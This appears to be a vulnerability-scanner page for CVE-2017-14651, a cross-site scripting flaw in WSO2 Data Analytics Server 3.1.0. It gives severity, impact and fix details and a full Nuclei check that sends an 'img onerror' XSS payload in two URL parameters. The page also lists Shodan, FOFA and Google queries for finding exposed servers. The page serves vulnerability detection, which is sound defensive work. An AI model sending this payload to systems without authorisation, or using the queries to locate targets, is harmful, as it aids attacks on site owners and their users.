WSO2 Data Analytics Server 3.1.0 - Cross-Site Scripting

mediumseverity

4.8CVSS score

3.8%likelihood of exploitation, next 30 days

90%of all CVEs are less likely

Readycheck to confirm it

WSO2 Data Analytics Server 3.1.0 is susceptible to cross-site scripting in carbon/resources/add_collection_ajaxprocessor.jsp via the collectionName or parentPath parameter.

Impact

Successful exploitation of this vulnerability could allow an attacker to execute arbitrary scripts in the victim's browser, leading to session hijacking, defacement, or theft of sensitive information.

Fix

Upgrade to a patched version of WSO2 Data Analytics Server or apply the necessary security patches provided by the vendor.

How to confirm it

Send: GET {{BaseURL}}/carbon/resources/add_collection_ajaxprocessor.jsp?collectionName=%3Cimg%20src=x%20onerror=alert(document.domain)%3E&parentPath=%3Cimg%20s…
Positive when: contains "<img src=x onerror=alert(document.domain)>" and "Failed to add new collection" AND contains in header "text/html"

Run it with nuclei: nuclei -id CVE-2017-14651 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2017-14651

info:
  name: WSO2 Data Analytics Server 3.1.0 - Cross-Site Scripting
  author: mass0ma
  severity: medium
  description: WSO2 Data Analytics Server 3.1.0 is susceptible to cross-site scripting in carbon/resources/add_collection_ajaxprocessor.jsp via the collectionName or parentPath parameter.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary scripts in the victim's browser, leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Upgrade to a patched version of WSO2 Data Analytics Server or apply the necessary security patches provided by the vendor.
  reference:
    - https://github.com/cybersecurityworks/Disclosed/issues/15
    - https://docs.wso2.com/display/Security/Security+Advisory+WSO2-2017-0265
    - https://cybersecurityworks.com/zerodays/cve-2017-14651-wso2.html
    - https://nvd.nist.gov/vuln/detail/CVE-2017-14651
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 4.8
    cve-id: CVE-2017-14651
    cwe-id: CWE-79
    epss-score: 0.03836
    epss-percentile: 0.902
    cpe: cpe:2.3:a:wso2:api_manager:2.1.0:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: wso2
    product: api_manager
    shodan-query: http.favicon.hash:1398055326
    fofa-query: icon_hash=1398055326
    google-query: inurl:"carbon/admin/login"
  tags: cve,cve2017,wso2,xss,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/carbon/resources/add_collection_ajaxprocessor.jsp?collectionName=%3Cimg%20src=x%20onerror=alert(document.domain)%3E&parentPath=%3Cimg%20src=x%20onerror=alert(document.domain)%3E"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "<img src=x onerror=alert(document.domain)>"
          - "Failed to add new collection"
        condition: and

      - type: word
        part: header
        words:
          - "text/html"

References

Use this check only on systems you are authorised to test. Where the data comes from